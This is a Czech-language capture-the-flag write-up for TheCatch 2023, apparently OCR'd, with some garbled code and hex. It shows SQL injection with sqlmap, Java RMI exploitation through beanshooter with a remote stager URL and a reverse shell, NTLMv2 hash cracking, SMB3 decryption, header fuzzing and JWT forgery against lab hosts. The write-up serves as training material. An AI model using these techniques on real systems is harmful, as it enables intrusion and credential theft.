H#ctf

TheCatch 2023

@ Info

by Charlie

Captains coffee

je to v api kafé pod ID néco jako rum a cosi ...
Bylo to pod id 501176144

FLAG{ccLH-dsaz-4kFA-P7GC}
Response body

{

"message": "Your Naval Espresso with rum is ready for pickup",

"validation_code": "Use this validation code FLAG{ccLH-dsaz-4kFA-P7GC}"
}

Ship web server
FLAG{ejii-plmQ-Q53C-gMwc}

webserver je na 10.99.0.64

DNS resolvuje jen www.cns-jv.tcc/ DNSje 10.99.0.1



certifikat napovi

Subject Alt Names

DNS Name WWW.Cns-jv.tcc

DNS Name documentation.cns-jv.tcc
DNS Name home.cns-jv.tcc

DNS Name pirates.cns-jv.tcc

DNS Name structure.cns-jv.tcc

Je potfeba dosadit jednotlivé domény do hosts

hosts
10.99.0.64 www.cns-jv.tcc
10.99.0.64 documentation.cns-jv.tcc
10.99.0.64 home.cns-jv.tcc
10.99.0.64 pirates.cns—-jv.tcc
10.99.0.64 structure.cns-jv.tcc

hosts Ize obejit pomoci hlaviCky tzn. tfreba curl -H "Host: pirates.cns-
jv.tcc" https://10.99.0.64/ --insecure

tzn. Ze v hlaviCce je doména i IP adresa kterou chci takze webserver vi co
ma vratit...

-—insecure je jen z divodu nepodepsaného SSL certifikatu
flag je rlizné v base64 rozhazeny po webech, ale docela viditelné.

Regular cube

Diky "Martas" kolego z prace !
FLAG{NICE-NAVY-BLUE-CUBE}



Sonar logs

Postup

Bylo potifeba usporadat logy chronologicky s ohledem na Casové pasma v
textové podobé, na to mi pomohl Skriptik

Byl zde hint ze je potfeba pytz==2020.4

Trochu jsem se pohral s ChatGPT aby mi vytahl hexadecimalni hodnoty, pro
urychleni procesu.

FLAG{3YAG-2rbj-KWoZ-LwWm}

Soubor s logama, vytahl jsem jen hex

Ox41
OX72
Ox47
Ox62
Ox6a
Ox46
Ox7b
OxX77
ox6d
Ox32
Ox57
Ox4c
Ox59
Ox57
Ox4c
0x33
Ox5a
Ox7d
0x2d
Ox6f



0x2d
Ox41
Ox2d
Ox4b
Ox47

vySlo tohle ArGbjF{wm2WLYWL3Z}-0-A-KG

Je to pfehazené, ty radky bude potfeba seradit podle ¢asu jak Sli za sebou
v zavislosti na Casovém pasmu

s ChatGPT nakonec vyreSeno, a starSi knihovnou pytz

Skriptik:

from datetime import datetime

import pytz

def f ame (name) :
return name.replace(" ", "_")
def nvert_to_utc(log):

date_str, time_str, timezone_str, *entry = log.split()
datetime_str = f"{date_str} {time_str}"
fixed_timezone_str = fix_timezone_name(timezone_str)

try:
timezone = pytz.timezone(fixed_timezone_str)
except pytz.UnknownTimeZoneError:

print(f"Unknown timezone: {timezone_str} (tried
{fixed_timezone_str})")

return None
datetime_obj = datetime.strptime(datetime_str, "%Y-%m-%d
%H :%M:%S")



localized_datetime_obj = timezone.localize(datetime_obj)
utc_datetime_obj = localized_datetime_obj.astimezone(pytz.utc)
return f"{utc_datetime_obj.strftime('%Y-%m-%d %H:%M:%S"')} UTC -
{" '".join(entry)}"

def ():
with ('sonar.log', 'r') as
logs = .readlines()

converted_logs = []

for log in logs:

converted_log = convert_to_utc(log)
if converted_log is not None:
converted_logs.append(converted_log)

for log in (converted_logs):
print(log)

if __name__ == "__main__":

main()

Alfa zulu quiz

FLAG{QOn7-MdEo-9cuH-aP6X}
Bylo potfeba hledat a hledat, diky Google.

Naval chef's recipe

Pfesmérovava z http na https ... zachytit Ize v Burpsuite
FLAG{ytZ6-Pewo-1ZZP-Q9qz}



Response

Pretty  Raw Hex Render =

1 HTTP/1.1 200 OK

2 Date: Tue, 03 Oct 2023 @9:00:35 GMT

3 Server: Apache

4 X-Powered-By: PHP/8.2.10

Vary: Accept-Encoding

6 Content-Length: 3562

Connection: close

5 Content-Type: text/html; charset=UTF-8

10 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.@//EN">

11 <html=>
<head>
12 <title>
381 Moved Permanently
</title>
13 <metz http-equiv="refresh” content="0;url=https://chef-menu.galley.cns-jv.tcc">
14 </head>
<body>
15 <h1>
Moved Permanently
</hl=>
16 <p=
The document has moved <a href="https://chef-menu.galley.cns-jv.tcc">
here
</a»
</p>
17 <p style="display: none">

The secret ingredient is composed of CBH1206, CBHE806, dried mandrake, FLAG{ytZ&6-Pewo-iZZP-Q9gz},

and C2@H25N30. Shake, do not mix.
<fp>
18 <script=
window.location.href="https://chef-menu.galley.cns-jv.tcc’
</script>
19  </body>
</html>

Captains password

FLAG{pyeB-941A-bhGx-g3RI}

Jedna se o chybu CVE-2023-32784
Tady jsem musel emulovat Windows 22
Flag byl v keepass souboru

GitHub

Web Protocols


https://github.com/vdohney/keepass-password-dumper

Zde bylo potfeba hrat si s GET pozadavky.
Je zde nékolik otevienych portd:

nmap -p 0-65535 web-protocols.cns-jv.tcc
X

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-02 20:59 CEST
Nmap scan report for web-protocols.cns-jv.tcc (10.99.0.122)

Host is up (0.038s latency).

Not shown: 65531 closed tcp ports (conn-refused)

PORT STATE SERVICE

5009/tcp open airport-admin

5011/tcp open telelpathattack

5020/tcp open zenginkyo-1

8011/tcp open unknown

8020/tcp open 1intu-ec-svcdisc

Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds

port 5009 vraci unsupported protocol version, je potfeba:
GET / HTTP/0.9 a zase mame base64 data aneb png obrazek

Cookies FLAG{krLt
port 5011 vraci v base64 png obrazek...
Cookies -rvbg-abI
port 5020 vraci téZ base64 png stejny obrazek ale ma jiné md5
Cookies R-433A}
port 8011 téz vraci base64 png obrazek
Cookies -rvbg-abI

port 8020 ma problémy ale s https funguje
- Cookies R-433A}
Vysledek: FLAG{krLt-rvbg-abIR-433A}

Keyword of the day



FLAG{DEIE-fiOr-pGV5-8MPc}

Tady byl dlouhy loading aplikaci, nez vibec néco vratili na mnoho portech,
bylo potfeba se na vSechny dotazat a jedna html stranka se vymykala
standardu a vracela jinou velikost odpoveédi, resp. velikost byla stejna,
nastésti ja nehledél na velikost ale zkontroloval jsem si je pomoci MD5 kdy
to prastilo do oci, viz obrazek nize.

IP adresa serveru 10.99.0.155
Rozmezi portll 60000 - 60495
navstivit http://10.99.0.155:60257/ |

skriptik na stahovani html stranek

import requests
target_ip = '10.99.0.155'

start_port = 60000
end_port = 60495

for port in (start_port, end_port + 1):
url = f'http://{target_ip}:{port}'
try:

response = requests.get(url)
if response.status_code == 200:

html_filename = f'response_port_{port}.html'

with (html_filename, 'w', encoding='utf-8') as html_file:
html_file.write(response.text)

print(f'HTML response from port {port} saved as
{html_filename}")

else:

print(f'Failed to retrieve HTML response from port {port}')
except requests.exceptions.RequestException as e:
print(f'Error connecting to port {port}: {e}')



5486a5b606c7ca91b5eel965df891d29 response_port_60253.
5486a5b606c/ca91b5eel1965df891d29 response_port_60254.
5486a5b606bc/ca91b5eel1965df891d29 response_port_60255.
5486a5b606bc/ca91b5eel1965df891d29 response_port_60256.
ba78fb78b670blbladc15e525bc3000b response_port_60257.
5486a5bb606c/ca91b5ee1965df891d29 response_port_60258.

5486a5b606c7ca91b5eel965df891d29 response_port_60259.
5486a5b606c7ca91b5eel965df891d29 responze_port_60260.
5486a5b606c/ca91b5eel1965df891d29 response_port_60261.
5486a5b606c/ca91b5eel1965df891d29 response_port_60262.
5486a5bb606c/ca91b5eel1965df891d29 response_port _60266.

Navigation plan

| Server; 10.99.0.128

Nejspis bude cesta pres SQL zranitelnost
Nasel jsem tabulkuktera popisuje instalaci MySQL, takze tam je:
Databaze: navigation
Table: users
Table,data: id, username, password, rank, active
Mélo by fungovat sqlmap
Takze se to povedlo pomoci:
sqlmap -u "http://navigation-plan.cns-jv.tcc/image.png?
type=data&t=targets&id=1" -D navigation -T users —--dump
a nasledujici odpoved:

15e2b0d3c33891ebb0flef609ec419420c20e320ce94c65fbc8c3312448eb225
(123456789) | engeneer |
7de22a47a2123a21ef0e6db685da3f3b471f01a0b719ef5774d22fed684b2537
| captain ($captainamerica$) |
6a42ed6869c8216e463054dcf7e320530b5dc5e05feae6d6d22a4311e3b22ceb

officer |


http://navigation-plan.cns-jv.tcc/system/install.mysql

Pry to jde i pomoci http://navigation-plan.cns-jv.tcc/image.png?
type=TO_BASE64 (CONCAT (username,%27%20%20-
%20%20%27 ,password) ) &t=users%20where%20id=2--&id=1

Poznatky

Na netu se podafilo pomoci Hashes zjistit heslo protoZe jsem dodal hash
uzZivatele captain
Idealni nastroj na laméani hash
rockyou.txt S hashcat nebylo UspésSné ;| atotam captainamerica
je.
Pokazil jsem to u sqlmap kdy jsem hledal zranitelnost na Spatném misté..
nachazela se pravé u obrazku, nikolivu /login.php
Pak uz se stacCilo pfihlasit a whoala FLAG
FLAG{fmIT-QkuR-FFUv-Zx44}

Arkanoid

Tady je nejvtipnéjsi to, ze tam vibec nejde o hru na portu 8000

FLAG{sEY]j-80fd-EtkR-0fHv}

Server: 10.99.0.102

Doména: arkanoid.cns-jv.tcc

Pouzivat u nmap i pfepinac -A
Ports:

8000/tcp open http-alt
36513/tcp open unknown
60001/tcp open unknown
60002/tcp open unknown


https://hashes.com/en/decrypt/hash

Zjistil jsem pomoci NMAPu, Ze tam bézi Java RMI coOZ je néco jako
vzdalena sprava java aplikaci ?

pomoci nékolika nastroji a spaleného ¢asu jsem narazil na beanshooter

ten délal presneé to co jsem potreboval

pak jsem bojoval s tim, jak asi funguje java a jeji tfidy

pak bylo potfeba nahréat Java tfidu ktera bude malwarem a tou je tonka
pak jsem dlouho bojoval s tim, jak ji tam dostat a jestli to délam spravné,
zda vilbec ten zranitelny stroj bude se mnou komunikovat, tak jsem si
otevrel netcat a zkouSel na sebe protlacit spojeni, po chvili jsem zjistil, Ze si
tim blokuji port protoze pfikaz kterym se tonka nahrava konkrétné --
stager-url je moje ip adresa a port na kterém se otevie mini http server
ze kterého si cilové zafizeni stdhne danou knihovnu.

Cely pfikaz tedy byl java -jar beanshooter-4.1.0-jar-with-
dependencies.jar tonka deploy 10.99.0.102 60001 --stager-url
http://10.200.0.9:5000

Pak jakmile jsem zjistil Ze tam mUzu sypat pfikazy java -jar
beanshooter-4.1.0-jar-with-dependencies.jar tonka exec

10.99.0.102 60001 whoami

Tak jsem si rozjel Reverse Shell pro lepSi praci pres netcat, ten byl k mému
prekvapeni i na cilovém stroji.

Na cilovem stroji jsem projel snad kompletné cely adresar ale nic jsem
nenasel, zapomnél jsem totiZ na jedno misto ...

Environmental variables ... printenv

Whoala ! FLAG !

Tohle neni cesta!
cat web_backend/app/src/test/java/tcc/rgame/AppTest.java

Component replacement

FLAG{MN90-V8Py-mSZV-JkRz}


https://github.com/qtc-de/beanshooter#mbean-operations

domeéna neni pfistupna: http://key-parts-list.cns-jv.tcc/
doména bézina 10.99.0.117
tam je otevieny port 80

jde tam hlavné o to abych vyuzil x-Forwarded-For: a ip adresy musi byt z
rozsahu 192.168.96.0/20

Postup

ZkouSel jsem to v burpsuitu tam to trva dlouze, jesté by Sel python skript,
ale ja se vydal cestou Fuzz Faster U Fool

Vytvoril jsem si slovnik co obsahoval IP adresy

Pfikaz ffuf -X GET -H "X-Forwarded-For: FUZZ" -H "Host:key-
parts-list.cns-jv.tcc" -u http://10.99.0.117:80 -w
~/Desktop/ip.txt -od ~/Desktop/output/ -of html -mc 200

Sefadim odpoveédi podle velikosti a ta nejvétsi obsahuje flag ...

8 —— 1 Request —— Response 4 ——

9

10 HTTP/1.1 200 OK

11 Content-Type: text/html; cha|rset=UTF—8

12 Date: Fri, 06 Oct 2023 07:06:11 GMT

13 Server: Apache/2.4.56 (Debian)

14 Vary: Accept-Encoding

15 X-Powered-By: PHP/8.0.30

16

17 Spare part;Identification code;In duty

18 Bubler; PART{SNIg-NYW1-0eSq-vMq0};8

19 Camshaft; PART{BAym-Fxee-11BO-wRSz}; 4

20 Connecting rod;PART{k76T-boGS-Z2s9-BrGa};22

21 Continuity converter;PART{63Ph-aHXa-M0OOf-yzam};4
22 Crankshaft;PART{ScTp-kzE4-fNed-F9AZ};4

23 Cylinder head;PART{sHL3-16pw-sQuw-XVcq};96

24 Flywheel ; PART{Fg4G-UcHw-BKaz-80zB};12

25 Fuel efficiency enhancer;FLAG{MN90-V8Py-mSZV-JkRz};0
26 Fuel lines;:;PART{NJu2-Dv2b-001D-dEvn};112




Signal flags

kazda lod nese zpravu a je potfeba je sefadit dle Casu

® Info
délal jsem to rucné a umim ty vlajky nazpamet =

2023-10-02 11:53:28 0Ox5957396154

2023-10-02 12:46:21 Ox766520796F75207365
2023-10-02 11:30:18 VB

2023-10-02 11:51:08 0x6973204D722E204361
2023-10-02 11:36:33 Ox746F6F3F20

2023-10-02 12:41:24 0x52656C61793A
2023-10-02 11:45:09 0x2063616E20

2023-10-02 11:39:22 0x6364616e69632e
2023-10-02 11:45:00 FV

2023-10-02 12:45:05 0x2043616C6574
2023-10-02 11:30:18 HONEYMOON

2023-10-02 11:32:50 KL

2023-10-02 12:47:52 Ox656E204D722E204361
2023-10-02 11:52:25 0Ox7657473474

2023-10-02 11:50:21 0x3374735648

2023-10-02 11:44:17 Ox6772697320666F72206576
2023-10-02 11:36:42 0x6520620269646765206174
2023-10-02 11:30:20 Ox6F73656620

2023-10-02 11:38:32 0Ox2C2063616E20796F7572206E6574776F
2023-10-02 11:47:21 APPWORD

2023-10-02 11:40:12 Ox6E69636520666C6167
2023-10-02 12:49:28 0x6C65746B613F
2023-10-02 11:53:28 0Ox626F6172643F
2023-10-02 11:40:00 K

2023-10-02 12:33:00 0x52656C61793A2048
2023-10-02 11:55:35 0Ox464E66513D



2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02
2023-10-02

12:

12

11:

11
11

11:

11
11
11
11
12

11:

11
11

11:

11

12:
11:

11

11:

11
12
11
11
11

11:

11
11

11:

11
11
11
12

11:

36:
1507
32:
146:
143
31:
2207
1925
146:
$40:
SEEE
30:
144
25005
37:
1507
31:
37:
1S
34:
SN
SN
181k 8
47
:33
38:
1555
1S
34:
:45:
148:
137
142
36:

00
12
25
18

102

22
18
47
12
44
00
18
14
31
36
18
27
11
02
30
27
00
23
14

:52

18
32
58
58
11
51
50
18
35

0x2043616C65746B61
Ox4861766520796F7520
0x2C20617265
OX776966692050
Ox4865792C2077

HCIREV

K

OxX4F757220636F66
EVORPMI
OXT26F7574657220666F722075733F
Ox7365656E204D722E

E

Ox686174206973

VB

Ox3B2D29

X
OX73656565E204D722E20
Ox2C207765206E65
Ox6D6520697076342061
OXx206E657473
Ox434E53204A6F73656620566572696368
Ox3F

Ox4A484C544E
Ox207468656D
Ox666565206D6163
0x65642061206D65
Ox206F6B2C20
Ox205665726963682C20
OXx68696E65206973
OX6572796F6E6521
Ox434E53204A6F736566
0x2032313030205A554C552E
Ox204861766520
Ox656C6C20757320736F



2023-10-02 11:30:18 PE

2023-10-02 12:45:00 0x52656C61793A204861
2023-10-02 11:48:19 Ox3F

2023-10-02 11:30:18 M

2023-10-02 11:33:27 O0x20796F7572

2023-10-02 12:46:01 Ox6B613F

2023-10-02 11:39:40 0Ox726B2067757920736574207570206120
2023-10-02 11:48:17 0Ox20627920

2023-10-02 11:52:25 0Ox7657473474

2023-10-02 11:35:08 0x43616E20796F752073
2023-10-02 12:34:00 0x61766520796F7520
2023-10-02 11:41:00 0Ox434E53604A

2023-10-02 11:43:05 VERICH

2023-10-02 11:37:45 0x434E53204A6F736566
2023-10-02 11:36:03 0x2062726F6B656E
2023-10-02 11:42:03 Ox6F73653320

2023-10-02 12:43:12 Ox796F75207365
2023-10-02 11:30:18 0x434E53204A

2023-10-02 11:56:39 0x3D2021

2023-10-02 12:44:09 Ox656E204D722E
2023-10-02 11:54:32 0x6931614E48

2023-10-02 11:39:56 0x64647265737365733F
2023-10-02 11:44:07 0x2C20796F75

2023-10-02 11:50:00 0x205665726963682C20
2023-10-02 11:45:15 0Ox2096F757220

2023-10-02 11:43:15 0Ox467265652070696E6F7420
2023-10-02 11:49:18 0x526B784252

2023-10-02 11:30:18 V

2023-10-02 11:35:43 0Ox5061727479206F6E207468
2023-10-02 12:32:38 0x43616C65746B613F

FLAG{1lTrG-3o0Xn-aoZN-Z4qM}

- Mél jsem chybu v lodi, bylo potfeba opravit.



Postup:

Vypsat si timestamp + znaky lodi
Seradit to a prevést z hexadecimalnich znak( na text ... tim zjistim, Ze tam
je vicero komunikace

A Warning
Takze lodé se déli i podle ship object ID takZze se zaméfim na
717609 a pak ziskam bas64 kod, ktery je zrovna FLAG !

PS: Jsem zvédavy na ostatni, jak to resili, ale podle mé takova tloha nepatfi do
tohohle CTF, protoZe jsem se nic nenaucil vyjma viajek, ty umim jesté doted’
nazpamét a osobné ji povazuji za nejhorsi...:D

Suspicious_traffic

jedn& se o analyzu pcap souboru
databazi se mi podafilo vytahnout jedna se 0 sqlite3
V pcapu je dalSi zajimava véc admin:james.fOr .HTTP.4648507
Credentials FTP user:james PASS:james.fOr.FTP.3618995
Je tam nékde zaheslovana databaze
Tohle jsem naSel v home.tgz v .bash_history
openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.db -out
secret.db.enc -k R3alyStroOngP4ss!
Hledam Salted COZje 53616c746564
Od rdmce 2052 zacCina zajimava komunikace
Probiha tam NTLM autentizace

Skladani hash

potrebuji hash ve formatu

username: :domain:ServerChallenge:NTproofstring:modifiedntlmv2re



sponse

Dale vychazim z navodu NTLMv?2

USERNAME: james_admin

DOMAIN: LOCAL.TCC

NTLM Server Challenge: 78c8f4fdf5927e58

NTProofStr: 8bc34ae8e76fe9b8417a966c2f632eb4

Session Key: 4292dac3c7a0510f8b26c969elef0db9

NTLMv2_respnse upravena:
01010000000000003ab4fc1550€2d901b352a9763bdec89a000000000200180
0410036003700460032004200410034004500380046003200010018004100360
0370046003200420041003400450038004600320004000200000003001800610
036003700660032006200610034006500380066003200070008003ab4fc1550e
2d90106000400020000000800300030000000000000000000000000000000258
1558b8f3cf059f3661e7cb3af60d9b63a7561b7f48607589fb37e551862b10a0
010000000000000000000000000000000000009001e0063006900660073002f0

073006d006200730065007200760065007200320000000000

Finalni hash pro hashcat:

james_admin: :LOCAL.TCC:78c8f4fdf5927e58:8bc34ae8e76fe9b8417a966¢C
2f632eb4:01010000000000003ab4fc1550€2d901b352a9763bdec89a0000000
0020018004100360037004600320042004100340045003800460032000100180
0410036003700460032004200410034004500380046003200040002000000030
01800610036003700660032006200610034006500380066003200070008003ab
4fc1550e2d9010600040002000000080030003000000000000CCNOOEENNOAEEOO
000002581558b8f3cf059f3661e7ch3af60d9b63a7561b7f48607589fb37e551
862b10a00100000OCOOOEOOONOEOOONOEOONOEOONOEONNOEO9001e0063006900660
073002f0073006d006200730065007200760065007200320000000000

bohuzel rockyou.txt neobsahuje potfebné heslo.
Jednalo se o kombinaci hesla kdy jsem vychazel z hesla z FTP, tak uzivatel
pouzival tfeba i stejnou syntaxi hesla pro jiné... james.for.FTP.3618995
Nebyl jsem si jisty jestli james nebo james_admin tak jsem uzptsobil
slovnik, s tim zZe tam bude misto FTP sMB a pak nahodné generovana
Cisla.



- Bylo potfeba hashcat hashcat -m 5600 -a 6 hashNTLM.txt
wordlist.txt '?d?d?d?d?d?d?d'

Heslo je : james_admin.fOr.SMB.8089078

decrypt smb3 traffic

- Dle navodu: ZDE

- Akoréat tam pouziva autor python2, tak jsem si to upravil na python3:

skript na vytvoreni random session key

import hashlib

import hmac

import argparse

from Crypto.Cipher import ARC4
from Crypto.Hash +import MD4

def generateEncryptedSessionKey(keyExchangeKey,
exportedSessionKey) :
cipher = ARC4.new(keyExchangeKey)
sessionKey = cipher.encrypt(exportedSessionKey)
return sessionKey

parser = argparse.ArgumentParser (description="Calculate the
Random Session Key based on data from a PCAP (maybe).")
parser.add_argument("-u","--user",required=True,help="User
name')

parser.add_argument("-d","--domain",required=True, help="Domain
name')

parser.add_argument("-p","--
password",required=True,help="Password of User")
parser.add_argument("-n","--
ntproofstr'",required=True,help="NTProofStr. This can be found in
PCAP (provide Hex Stream)")
parser.add_argument("-k","--key",required=True,help="Encrypted
Session Key. This can be found in PCAP (provide Hex Stream)")
parser.add_argument("-v", "--verbose", action="store_true",


https://medium.com/maverislabs/decrypting-smb3-traffic-with-just-a-pcap-absolutely-maybe-712ed23ff6a2

help="1increase output verbosity")

args = parser.parse_args()

#Upper Case User and Domain
user = str(args.user) .upper().encode('utf-16le')
domain = str(args.domain).upper().encode('utf-16le')

#Create 'NTLM' Hash of password

passw = args.password.encode('utf-16le')
hashl = MD4.new()

hashl.update(passw)

password = hashl.digest()

#Calculate the ResponseNTKey
h = hmac.new(password, digestmod=hashlib.md5)
h.update(user + domain)

respNTKey = h.digest()

#Use NTProofSTR and ResponseNTKey to calculate Key Exchange Key
NTproofStr = bytes.fromhex(args.ntproofstr)

h = hmac.new(respNTKey, digestmod=hashlib.md5)

h.update (NTproofStr)

KeyExchKey = h.digest()

#Calculate the Random Session Key by decrypting Encrypted
Session Key with Key Exchange Key via RC4

RsessKey =

generateEncryptedSessionKey (KeyExchKey,bytes. fromhex(args.key))

if args.verbose:
print(f"USER WORK: {user.decode('utf-16le')}
{domain.decode('utf-161le')}")
print(f"PASS HASH: {password.hex()}")
print(f"RESP NT: {respNTKey.hex()}")
print(f"NT PROOF: {NTproofStr.hex()}")
print(f"KeyExKey: {KeyExchKey.hex()}")
print(f"Random SK: {RsessKey.hex()}")



script vysledek:

user: james_admin [z pcapu]

domain: LOCAL.TCC [z pcapu]

password: james_admin.fOr.SMB.8089078 [za pomoci hashcat]
ntproofstring: 8bc34ae8e76fe9b8417a966c2f632eb [z pcapu]
session_key: 4292dac3c7a0510f8b26c969elef0@db9 [z pcapu]
session_id: Ox00000000b936b149
session_stazeno_jako_hex_stream: 49b136b900000000

Random SK: 7a93dee25de4c2141657e7037dddb8f1

python script.py -u james_admin -d LOCAL.TCC -p
james_admin.fOr.SMB.8089078 -n 8bc34ae8e76fe9b8417a966c2f632eb
4 -k 4292dac3c7a0510f8b26c969elef0db9

Random SK: 7a93dee25de4c2141657e7037dddb8f1

T4 Secret session key to use for decryptio
Session ID Session Key Server-to-Client |Client-to-Server
49b136b900000000 7a93dee25dedc2141657e7037dddb8f1 (zero length) (zero length)

Jakmile mam takto pridané klice, tak se mi najednou zobrazi SMB3
Encrypted traffic, zejména na tcp.stream eq 11 a 12.

Tim se mi podafilo ziskat secret.db.enc
Tu potfebuji rozSifrovat viz pfedchozi zminka v bash_history

Jakmile mam hotovo mam pred sebou secret.db a kdyZz ji oteviu vidim
FLAG )

FLAG{5B9B-1wPy-OfRS-4uEN}

Cat code

Byla provedena optimalizace:

memo = {}
def (kittens_of_the_world):



meowwwwww meow with memoization

if kittens_of_the_world < UNITED:
return kittens_of_the_world

# If the value is already computed, return it
if kittens_of_the_world in memo:
return memo[kittens_of_the_world]

# Otherwise, compute the Fibonacci number and save it to memo,
then return 1t

value = meow_optimized(kittens_of_the_world - UNITE) +
meow_optimized(kittens_of_the_world - UNITED)

memo[kittens_of_the_world] = value

return value
# Redefining meoow function to use the optimized meow function

def meoow_optimized():

meoow with optimized meow function

meoword = 'kittens' # Replacing input to avoid manual
interaction

return meowmeow(meow_optimized(sum([ord(meow) for meow 1in
meoword])))
# Running the optimized meoow function to find out the output

meoow_optimized()

US.A

- SERVER: 10.99.0.108
Jedna se o API problém na adrese http://universal-ship-api.cns-jv.tcc/

- POST neni povolen


http://universal-ship-api.cns-jv.tcc/

http://universal-ship-api.cns-jv.tcc/docs Vyzaduje autentizaci,
chce bearer token ...

Postup

2 Note

za meé asi nejkomplexngjsi task...
pfi pouzivani ffuf se mi podafilo nechtic sestfelit cely server, protoze jsem se
pokouSel z ngj stdhnout kompletné vSechny soubory ...

Oskenovani si vSech moznych véci, véetné portli a vSeho mozného
zjisténi, ze vSe jede skuteCné pouze na portu 80

Cesta bude jediné pres API, takze vyuzit Fuzz Faster U Fool pro enumeraci

endpoints, vyuzit slovnik

/usr/share/wordlists/seclists/Discovery/Web-Content/big.txt, tim
jsem odhalil pa véci jako je:

http://universal-ship-api.cns-jv.tcc/docs
http://universal-ship-api.cns-jv.tcc/api/vl
http://universal-ship-api.cns-jv.tcc/api/vl/admin/file
http://universal-ship-api.cns-jv.tcc/api/vl/user/cgi-bin/

# Pak bylo potreba upravit ffuf aby pouzival i POST

http://universal-ship-api.cns-jv.tcc/api/vl/user/

http://universal-ship-api.cns-jv.tcc/api/vl/user/signup



Nasledovalo registrovani uzivatele, tam to Slo pékné pfes Postmana.

POST w http://universal-ship-api.cns-jv.tcc/api/v1/user/signup
Params Authorization Headers (7) Body @ Pre-request Script Tests Settings
none form-data x-www-form-urlencoded raw binary GraphQL JSON
1 i
2 "email":"petr@seznam.cz",
3 "password”:"heslol23456"
4 §

4. Nasledovalo prihlaseni uzivatele pomoci /api/v1l/user/login coz byl
docela pain, protoze bylo potfeba zménit raw/json na form-data coZ je
tak trochu nelogické ale ok. nasledné jsem ziskal bearer token.

5. S tim Slo uz néco délat, najednou fungovalo i /docs které predtim
vyzadovalo autentizaci.

6.V /docs uZ byla cela struktura API, takZe stacilo otevfit openapi.json a
nahrat jej do Postmana

7. Tady bylo potfeba vyuzit volani Fetch user kdy jsme ziskali guid,
samoziejmé nas zajimal uzivatel €.1 takZe jsme ziskali "guid":
""c90898e4-9f86-4ele-8557-2f6a3f2e55d0" s tim Ze se jedna o admin
ucet.

8. DalSi bylo potfeba volani Update User Password kdy jsme vyuZili
"ouid" a zménili tak heslo u admina.

9. Toho jsme prihlasili a ziskali bearer token ADMINA !

10. pfi volani GetFile jsme mohli hrabat v linuxovych adreséfich, ale pouze
zobrazovat obsah soubord.

11. Tam nas zajimal zejména proces /proc/self/environ, ten je zminén
nize, kazdopadné v ném jsem zjistil, Ze bézi néjaka python appka v
shipapi.main v /app naslednou metodou pokus omyl se mi podafrilo
zobrazit obsah python skriptu.

12. Tady jsem uz za pomoci chatGPT4 si pomahal s vizualizaci kodu,
protoze ten se vracel v hrozné Citelném stavu ... nasledné se mi podafila
vytvorit i struktura jak asi vypadal adresar ve kterém se appka nachazela.
13. Hned jak jsem to vidél tak mé prastilo do oCi /jwtsigning.key a
/jwtsigning.pub ty jsem si ulozil.


https://jwt.io/

14. nasledné jsem se potreboval néjakym zptisobem dostat k FLAGu, tedy
konkr /api/vl/admin/getFlag jenze jsem mél Spatny token, protoze pfi
pokusu to fvalo {"detail": "flag-read key missing from JWT"}.

15. Za pomoci JWT.IO jsem tam vlozil svljj stavajici admin token, doplnil
verifikaCni signatury tzn viz bod €. 13. a pfidal hodnotu "flag-read":
true

16. opét dotaz na /api/vl/admin/getFlag a whoala

17. FLAG{910P-iUeJ-Wwql-i8L2}

zajimavosti

http://universal-ship-api.cns-jv.tcc/api/vl
vraci {"endpoints":["user","admin"]}
Slovnik co bych mél pouzit:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-
Content/big.txt + nékolik dalsich dobrych slovnik( ...

zkusit to s Fuzz Faster U Fool

http://universal-ship-api.cns-jv.tcc/api/vl/admin/file
vraci "Method Not Allowed"
http://universal-ship-api.cns-jv.tcc/api/vl/user/cgi-bin/
vraci redirect 307
http://universal-ship-api.cns-jv.tcc/api/vl/user/
422 logina 422 signup

POST na http://universal-ship-api.cns-jv.tcc/api/vl/user/signup

{

"email":"test@seznam.cz",
"password":"heslo123456"
+

Problémy

problém byl s tim, viibec se odpichnout na zacatku, nastésti do velké miry
pomohl Fuzz Faster U Fool



https://jwt.io/
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/big.txt

2. nasledné problém s tim, Ze pfi metodé POST se vraci jiné hodnoty

3. Pfi registraci uzivatele na adrese /api/vl/user/signup mlZe byt body v
JSON

4. PFi loginu uzivatele u /api/v1l/user/login jiz musi byt hodnoty v form-
data

"access_token":
"eyJhbGci0iJISUzM4NCISINR5cCI6IkpXVCI9.eyJOeXBlIjoiYWNjZXNzX3Rva2
VuIiwiZXhwIjoxNjk3MTk2NzIwLCIpYXQi0jE20TY1IMDUIMjASINN1YiI6IjUiLC
JhZGlpbiI6ZmFsc2UsImd1aWQi0iI3M2J1ODE5Z10zNzZ1LTQ5M2Mt0ODU5YSOWNZ
M1MDBjMDdiNWIifQ.bKURMVKI7U8zn3PJavxKoltM48thCuvUT4b2LKGHzM31cZE
xOH4pz6t_jRFpln4m8FXVuOo-
hWDhMfAY®1ibODwed4d208UsB7hnD31_008QMVTH]jCPK-00Nnx~—
IcRsPl67kmwIw4b-
TPW8WmM2AVISNIZZzONcsTKLhViAEDwe4ICQ0JIX4nwpcOb9bzhasCMEVN51RGHZzJE4
P181ZxxdbY2HdsaRt5Tbx17tfXQxvQyfXeep811X8KCEGGTN1_De-
OSFA1qPwEFOW2A8LaxwB1lZ10kkOKgHvVqFcOBbTZ1QjRtgAyVOfCXvIOUk52u7vO7
zzKhLjEkoXcv3Xxg4LJYsY66SIMF2TP5W79Gdd2mD7xVLKeqgeebXL2rhyg-
1U3_vJe8y8AON52u0476Ee8ss4_yhuJd1lWeTvQ9SB9k1lkJIJeC-
zfo_wTauiSYg7QbWpK4oZhsmng3fNxjl4apPJI3Ux3xYW5nadAwfiLrgfn8ZTPvL-
w7sR4qIEEDMYenbD5SVDIVHSRK8uSCqCFY5GGEAPi zwuvCfobGuYPG4 -
